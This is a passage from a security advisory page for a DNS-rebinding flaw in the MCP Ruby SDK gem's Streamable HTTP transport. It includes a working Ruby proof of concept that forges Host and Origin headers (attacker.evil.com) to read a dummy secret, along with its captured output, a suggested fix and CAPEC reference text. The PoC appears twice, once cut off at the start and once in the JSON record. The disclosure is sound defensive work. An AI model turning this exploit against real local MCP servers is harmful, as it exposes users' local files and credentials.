status2, _h2, body2 = rack_post(transport, call_body,
host: "attacker.evil.com", origin: "http://evil.attacker.com", session_id: session, proto: PROTO)
puts "[tools/call] HTTP status : #{status2}"
puts "[tools/call] response body : #{body2}"
attack_ok = (status == 200 && session && status2 == 200 && body2.include?("TOP-SECRET-LOCAL-DATA-9f3a"))
puts
puts "ATTACK VERDICT: #{attack_ok ? "EXFILTRATED" : "blocked"} -- foreign Host/Origin obtained a session AND read the local secret with NO 403."
puts
puts "========== NEGATIVE CONTROL: legitimate Host: 127.0.0.1:8080 Origin: http://127.0.0.1:8080 =========="
status3, headers3, _b3 = rack_post(transport, init_body, host: "127.0.0.1:8080", origin: "http://127.0.0.1:8080")
puts "[initialize] HTTP status : #{status3}"
puts "[initialize] Mcp-Session-Id : #{headers3["Mcp-Session-Id"].inspect}"
puts
puts "CONTROL VERDICT: legitimate client also gets HTTP #{status3} + session -- transport applies the SAME (zero) Host/Origin policy to both."
Captured output (verbatim):
mcp gem version under test: 0.18.0
transport source: [".../gems/mcp-0.18.0/lib/mcp/server/transports/streamable_http_transport.rb", 333]
========== ATTACK: forged Host: attacker.evil.com Origin: http://evil.attacker.com ==========
[initialize] HTTP status : 200
[initialize] Mcp-Session-Id : "d4fb30b4-b4ec-49a1-a58b-f4cc02bee64b"
[initialize] response body : {"jsonrpc":"2.0","id":1,"result":{"protocolVersion":"2024-11-05","capabilities":{"tools":{"listChanged":true},"prompts":{"listChanged":true},"resources":{"listChanged":true},"logging":{}},"serverInfo":{"name":"poc_server","version":"1.0.0"}}}
[tools/call] HTTP status : 200
[tools/call] response body : data: {"jsonrpc":"2.0","id":2,"result":{"content":[{"type":"text","text":"TOP-SECRET-LOCAL-DATA-9f3a"}],"isError":false}}
ATTACK VERDICT: EXFILTRATED -- foreign Host/Origin obtained a session AND read the local secret with NO 403.
========== NEGATIVE CONTROL: legitimate Host: 127.0.0.1:8080 Origin: http://127.0.0.1:8080 ==========
[initialize] HTTP status : 200
[initialize] Mcp-Session-Id : "bf707a19-a22a-4ff2-aeae-62c20cd7141b"
CONTROL VERDICT: legitimate client also gets HTTP 200 + session -- transport applies the SAME (zero) Host/Origin policy to both.
The forged Host: attacker.evil.com / Origin: http://evil.attacker.com request obtained a valid session and exfiltrated the local secret (TOP-SECRET-LOCAL-DATA-9f3a) via tools/call, with the transport returning HTTP 200 throughout and never a 403. The negative control confirms the transport applies the identical (empty) policy to a legitimate localhost client, proving there is no Host/Origin discrimination at all.
Suggested fix
Add an opt-in but secure-by-default Host/Origin allowlist to StreamableHTTPTransport, mirroring the DNS-rebinding protection that the TypeScript, Python, Go, Rust, C#, and Java MCP SDKs already ship:
- Accept
allowed_hosts:andallowed_origins:keyword arguments ininitialize. - In
handle_request(before any dispatch), readrequest.env["HTTP_HOST"]andrequest.env["HTTP_ORIGIN"]. If an allowlist is configured and the value is not on it, return403 Forbidden. - Default to allowing only loopback hosts (
127.0.0.1,[::1],localhost) and an empty/absentOrigin, so a stock local deployment is protected against rebinding out of the box while same-process and same-host clients keep working. Document how to widen the allowlist for non-loopback deployments.
A concrete patch adds an AllowedHostsValidation check invoked at the top of handle_request. See the Fix PR.
Fix PR
A fix PR implementing the Host/Origin allowlist with a secure loopback default is open against this advisory's private temporary fork: https://github.com/modelcontextprotocol/ruby-sdk-ghsa-rjr6-rcgv-9m7m/pull/1 . With the patch loaded, the forged-Host request is rejected with 403 ({"error":"Forbidden: Host not allowed (DNS-rebinding protection)"}) while a legitimate loopback Host: 127.0.0.1:8080 request is still served (HTTP 200, session issued).
Credit
Reported by tonghuaroot.
Reporter notes
This issue was found by source review of the mcp gem's Streamable HTTP transport and confirmed end-to-end against the released gem mcp 0.18.0 as shown above. It is reported independently on its own merits.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.22.0"
},
"package": {
"ecosystem": "RubyGems",
"name": "mcp"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.23.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-63118"
],
"database_specific": {
"cwe_ids": [
"CWE-346",
"CWE-350"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-30T14:41:39Z",
"nvd_published_at": "2026-07-29T20:17:10Z",
"severity": "MODERATE"
},
"details": "## Summary\n\n`MCP::Server::Transports::StreamableHTTPTransport` (the Rack-mountable Streamable HTTP transport in the `mcp` gem) processes every incoming JSON-RPC request without ever inspecting the HTTP `Host` or `Origin` request headers. There is no `AllowedHosts`/`AllowedOrigins` allowlist and no DNS-rebinding guard anywhere in the transport. A local MCP server that binds a loopback or LAN HTTP port is therefore reachable by any web origin a victim\u0027s browser visits, via a DNS-rebinding attack: a malicious page rebinds its own hostname to `127.0.0.1`, then drives the local MCP server cross-origin to enumerate and invoke its tools and exfiltrate their output. This is the standard browser-driven local-service attack that the MCP Streamable HTTP guidance exists to prevent.\n\n## Impact\n\n- An attacker who can get a victim to open a web page can reach any MCP server the victim runs locally over the Streamable HTTP transport (e.g. a developer-tools or filesystem MCP server on `localhost`).\n- Because the transport issues a session and dispatches `tools/list` / `tools/call` from a foreign `Host`/`Origin` with no rejection, the attacker can drive arbitrary server-exposed tools and read their results, exfiltrating local data (files, secrets, command output) to the attacker\u0027s origin.\n- The blast radius is whatever the locally-running MCP server exposes. For MCP servers wired to filesystem, shell, or credential tools, this is sensitive-data disclosure and, depending on the tool set, local action execution.\n\n## Vulnerable code\n\nFile: `lib/mcp/server/transports/streamable_http_transport.rb` (gem `mcp` 0.18.0).\n\nThe Rack entrypoint and POST handler validate `Accept`, `Content-Type`, `Mcp-Session-Id`, and `Mcp-Protocol-Version`, but never `Host` or `Origin`:\n\n```ruby\n# call(env) -\u003e handle_request(Rack::Request.new(env)) (line 56)\ndef handle_post(request)\n required_types = @enable_json_response ? REQUIRED_POST_ACCEPT_TYPES_JSON : REQUIRED_POST_ACCEPT_TYPES_SSE\n accept_error = validate_accept_header(request, required_types) # line 335 - checks Accept only\n return accept_error if accept_error\n\n content_type_error = validate_content_type(request) # line 338 - checks Content-Type only\n return content_type_error if content_type_error\n\n body_string = request.body.read\n session_id = extract_session_id(request) # line 342 - reads HTTP_MCP_SESSION_ID\n```\n\nNo statement anywhere in `handle_post`, `handle_request`, or any helper reads `request.env[\"HTTP_HOST\"]` or `request.env[\"HTTP_ORIGIN\"]`.\n\nThe only request-env reads in the whole class are:\n\n- `extract_session_id` -\u003e `request.env[\"HTTP_MCP_SESSION_ID\"]` (line 489)\n- `validate_accept_header` -\u003e `request.env[\"HTTP_ACCEPT\"]` (line 493)\n- `validate_content_type` -\u003e `request.env[\"CONTENT_TYPE\"]` (line 512)\n- `validate_protocol_version_header` -\u003e `request.env[\"HTTP_MCP_PROTOCOL_VERSION\"]` (line 546)\n\nA repository-wide search of `lib/` for `HTTP_HOST`, `HTTP_ORIGIN`, `allowed_host`, `allowed_origin`, `rebind`, or `dns.rebind` returns zero matches, confirming no allowlist or rebinding guard exists in the shipped library. The `examples/` tree mounts `Rack::Cors` as application-level middleware, but that is example glue, not a transport-level control, and CORS does not stop a DNS-rebinding attack that arrives as a same-origin request after rebinding.\n\n## How the input reaches the sink (attack scenario)\n\n1. A developer runs an MCP server over `StreamableHTTPTransport`, mounted as a Rack app on a local HTTP port (loopback or LAN).\n2. The victim opens `http://evil.attacker.com` in a browser. The page resolves to the attacker\u0027s server, which then re-answers DNS for `evil.attacker.com` with `127.0.0.1` (DNS rebinding). The browser now treats requests to `evil.attacker.com` as going to the local MCP server, with `Host: evil.attacker.com` / `Origin: http://evil.attacker.com`.\n3. The page POSTs an `initialize` request. The transport accepts it (it never looks at `Host`/`Origin`), creates a session, and returns `Mcp-Session-Id`.\n4. The page then POSTs `tools/call`, and the transport executes the server\u0027s tool and returns its output to the foreign origin. Local data is exfiltrated.\n\n## Proof of concept (end-to-end reproduction)\n\nRun against the real released gem `mcp` 0.18.0 (no stubs). The script builds an `MCP::Server` with a tool that returns sensitive local data, instantiates the real `StreamableHTTPTransport`, and drives it with `Rack::Request` env hashes carrying a forged `Host`/`Origin`. It then re-runs as a legitimate localhost client (negative control).\n\nInstall:\n\n```\ngem install mcp -v 0.18.0 # pulls addressable, json-schema, public_suffix\ngem install rack # required by StreamableHTTPTransport\n```\n\nPoC (`poc_f1_dnsrebind.rb`):\n\n```ruby\n# frozen_string_literal: true\nrequire \"mcp\"\nrequire \"rack\"\nrequire \"json\"\nrequire \"stringio\"\n\nputs \"mcp gem version under test: #{MCP::VERSION}\"\nputs \"transport source: #{MCP::Server::Transports::StreamableHTTPTransport.instance_method(:handle_post).source_location.inspect}\"\nputs\n\n# A tool whose output is sensitive local data an attacker wants to exfiltrate.\nsecret_tool = MCP::Tool.define(name: \"read_local_secret\", description: \"returns a local secret\") do |*|\n MCP::Tool::Response.new([{ type: \"text\", text: \"TOP-SECRET-LOCAL-DATA-9f3a\" }])\nend\n\nserver = MCP::Server.new(name: \"poc_server\", version: \"1.0.0\", tools: [secret_tool])\ntransport = MCP::Server::Transports::StreamableHTTPTransport.new(server)\nPROTO = MCP::Configuration::SUPPORTED_STABLE_PROTOCOL_VERSIONS.last\n\ndef rack_post(transport, body_hash, host:, origin:, session_id: nil, proto: nil)\n body = JSON.generate(body_hash)\n env = {\n \"REQUEST_METHOD\" =\u003e \"POST\", \"PATH_INFO\" =\u003e \"/\",\n \"HTTP_HOST\" =\u003e host, # attacker-controlled Host (DNS-rebind primary vector)\n \"HTTP_ORIGIN\" =\u003e origin, # attacker-controlled Origin (cross-origin browser vector)\n \"HTTP_ACCEPT\" =\u003e \"application/json, text/event-stream\",\n \"CONTENT_TYPE\" =\u003e \"application/json\",\n \"rack.input\" =\u003e StringIO.new(body), \"CONTENT_LENGTH\" =\u003e body.bytesize.to_s,\n }\n env[\"HTTP_MCP_SESSION_ID\"] = session_id if session_id\n env[\"HTTP_MCP_PROTOCOL_VERSION\"] = proto if proto\n status, headers, resp = transport.call(env)\n collected = +\"\"\n if resp.respond_to?(:each)\n resp.each { |c| collected \u003c\u003c c.to_s }\n elsif resp.respond_to?(:call) # stateful tools/call returns an SSE-stream Proc body\n sink = Object.new\n sink.define_singleton_method(:write) { |s| collected \u003c\u003c s.to_s }\n sink.define_singleton_method(:flush) {}\n sink.define_singleton_method(:close) {}\n resp.call(sink)\n end\n [status, headers, collected]\nend\n\nputs \"========== ATTACK: forged Host: attacker.evil.com Origin: http://evil.attacker.com ==========\"\ninit_body = { jsonrpc: \"2.0\", id: 1, method: \"initialize\",\n params: { protocolVersion: PROTO, capabilities: {}, clientInfo: { name: \"evil-page\", version: \"1.0\" } } }\nstatus, headers, body = rack_post(transport, init_body, host: \"attacker.evil.com\", origin: \"http://evil.attacker.com\")\nputs \"[initialize] HTTP status : #{status}\"\nputs \"[initialize] Mcp-Session-Id : #{headers[\"Mcp-Session-Id\"].inspect}\"\nputs \"[initialize] response body : #{body}\"\nsession = headers[\"Mcp-Session-Id\"]\n\ncall_body = { jsonrpc: \"2.0\", id: 2, method: \"tools/call\",\n params: { name: \"read_local_secret\", arguments: {} } }\nstatus2, _h2, body2 = rack_post(transport, call_body,\n host: \"attacker.evil.com\", origin: \"http://evil.attacker.com\", session_id: session, proto: PROTO)\nputs \"[tools/call] HTTP status : #{status2}\"\nputs \"[tools/call] response body : #{body2}\"\nattack_ok = (status == 200 \u0026\u0026 session \u0026\u0026 status2 == 200 \u0026\u0026 body2.include?(\"TOP-SECRET-LOCAL-DATA-9f3a\"))\nputs\nputs \"ATTACK VERDICT: #{attack_ok ? \"EXFILTRATED\" : \"blocked\"} -- foreign Host/Origin obtained a session AND read the local secret with NO 403.\"\nputs\n\nputs \"========== NEGATIVE CONTROL: legitimate Host: 127.0.0.1:8080 Origin: http://127.0.0.1:8080 ==========\"\nstatus3, headers3, _b3 = rack_post(transport, init_body, host: \"127.0.0.1:8080\", origin: \"http://127.0.0.1:8080\")\nputs \"[initialize] HTTP status : #{status3}\"\nputs \"[initialize] Mcp-Session-Id : #{headers3[\"Mcp-Session-Id\"].inspect}\"\nputs\nputs \"CONTROL VERDICT: legitimate client also gets HTTP #{status3} + session -- transport applies the SAME (zero) Host/Origin policy to both.\"\n```\n\nCaptured output (verbatim):\n\n```\nmcp gem version under test: 0.18.0\ntransport source: [\".../gems/mcp-0.18.0/lib/mcp/server/transports/streamable_http_transport.rb\", 333]\n\n========== ATTACK: forged Host: attacker.evil.com Origin: http://evil.attacker.com ==========\n[initialize] HTTP status : 200\n[initialize] Mcp-Session-Id : \"d4fb30b4-b4ec-49a1-a58b-f4cc02bee64b\"\n[initialize] response body : {\"jsonrpc\":\"2.0\",\"id\":1,\"result\":{\"protocolVersion\":\"2024-11-05\",\"capabilities\":{\"tools\":{\"listChanged\":true},\"prompts\":{\"listChanged\":true},\"resources\":{\"listChanged\":true},\"logging\":{}},\"serverInfo\":{\"name\":\"poc_server\",\"version\":\"1.0.0\"}}}\n[tools/call] HTTP status : 200\n[tools/call] response body : data: {\"jsonrpc\":\"2.0\",\"id\":2,\"result\":{\"content\":[{\"type\":\"text\",\"text\":\"TOP-SECRET-LOCAL-DATA-9f3a\"}],\"isError\":false}}\n\nATTACK VERDICT: EXFILTRATED -- foreign Host/Origin obtained a session AND read the local secret with NO 403.\n\n========== NEGATIVE CONTROL: legitimate Host: 127.0.0.1:8080 Origin: http://127.0.0.1:8080 ==========\n[initialize] HTTP status : 200\n[initialize] Mcp-Session-Id : \"bf707a19-a22a-4ff2-aeae-62c20cd7141b\"\n\nCONTROL VERDICT: legitimate client also gets HTTP 200 + session -- transport applies the SAME (zero) Host/Origin policy to both.\n```\n\nThe forged `Host: attacker.evil.com` / `Origin: http://evil.attacker.com` request obtained a valid session and exfiltrated the local secret (`TOP-SECRET-LOCAL-DATA-9f3a`) via `tools/call`, with the transport returning HTTP 200 throughout and never a 403. The negative control confirms the transport applies the identical (empty) policy to a legitimate localhost client, proving there is no Host/Origin discrimination at all.\n\n## Suggested fix\n\nAdd an opt-in but secure-by-default Host/Origin allowlist to `StreamableHTTPTransport`, mirroring the DNS-rebinding protection that the TypeScript, Python, Go, Rust, C#, and Java MCP SDKs already ship:\n\n- Accept `allowed_hosts:` and `allowed_origins:` keyword arguments in `initialize`.\n- In `handle_request` (before any dispatch), read `request.env[\"HTTP_HOST\"]` and `request.env[\"HTTP_ORIGIN\"]`. If an allowlist is configured and the value is not on it, return `403 Forbidden`.\n- Default to allowing only loopback hosts (`127.0.0.1`, `[::1]`, `localhost`) and an empty/absent `Origin`, so a stock local deployment is protected against rebinding out of the box while same-process and same-host clients keep working. Document how to widen the allowlist for non-loopback deployments.\n\nA concrete patch adds an `AllowedHostsValidation` check invoked at the top of `handle_request`. See the Fix PR.\n\n## Fix PR\n\nA fix PR implementing the Host/Origin allowlist with a secure loopback default is open against this advisory\u0027s private temporary fork: https://github.com/modelcontextprotocol/ruby-sdk-ghsa-rjr6-rcgv-9m7m/pull/1 . With the patch loaded, the forged-Host request is rejected with `403` (`{\"error\":\"Forbidden: Host not allowed (DNS-rebinding protection)\"}`) while a legitimate loopback `Host: 127.0.0.1:8080` request is still served (HTTP 200, session issued).\n\n## Credit\n\nReported by tonghuaroot.\n\n## Reporter notes\n\nThis issue was found by source review of the `mcp` gem\u0027s Streamable HTTP transport and confirmed end-to-end against the released gem `mcp` 0.18.0 as shown above. It is reported independently on its own merits.",
"id": "GHSA-rjr6-rcgv-9m7m",
"modified": "2026-07-30T14:41:39Z",
"published": "2026-07-30T14:41:39Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/modelcontextprotocol/ruby-sdk/security/advisories/GHSA-rjr6-rcgv-9m7m"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-63118"
},
{
"type": "WEB",
"url": "https://github.com/modelcontextprotocol/ruby-sdk/commit/ba543083a7594e7892b29464b89091816446ff7a"
},
{
"type": "PACKAGE",
"url": "https://github.com/modelcontextprotocol/ruby-sdk"
},
{
"type": "WEB",
"url": "https://github.com/modelcontextprotocol/ruby-sdk/releases/tag/v0.23.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "MCP Ruby SDK: Streamable HTTP transport lacks DNS-rebinding (Host/Origin) protection"
}
Mitigation
Use other means of identity verification that cannot be simply spoofed. Possibilities include a username/password or certificate.
Mitigation MIT-42
Perform proper forward and reverse DNS lookups to detect DNS spoofing.
CAPEC-142: DNS Cache Poisoning
A domain name server translates a domain name (such as www.example.com) into an IP address that Internet hosts use to contact Internet resources. An adversary modifies a public DNS cache to cause certain names to resolve to incorrect addresses that the adversary specifies. The result is that client applications that rely upon the targeted cache for domain name resolution will be directed not to the actual address of the specified domain name but to some other address. Adversaries can use this to herd clients to sites that install malware on the victim's computer or to masquerade as part of a Pharming attack.
CAPEC-275: DNS Rebinding
An adversary serves content whose IP address is resolved by a DNS server that the adversary controls. After initial contact by a web browser (or similar client), the adversary changes the IP address to which its name resolves, to an address within the target organization that is not publicly accessible. This allows the web browser to examine this internal address on behalf of the adversary.
CAPEC-73: User-Controlled Filename
An attack of this type involves an adversary inserting malicious characters (such as a XSS redirection) into a filename, directly or indirectly that is then used by the target software to generate HTML text or other potentially executable content. Many websites rely on user-generated content and dynamically build resources like files, filenames, and URL links directly from user supplied data. In this attack pattern, the attacker uploads code that can execute in the client browser and/or redirect the client browser to a site that the attacker owns. All XSS attack payload variants can be used to pass and exploit these vulnerabilities.
CAPEC-89: Pharming
A pharming attack occurs when the victim is fooled into entering sensitive data into supposedly trusted locations, such as an online bank site or a trading platform. An attacker can impersonate these supposedly trusted sites and have the victim be directed to their site rather than the originally intended one. Pharming does not require script injection or clicking on malicious links for the attack to succeed.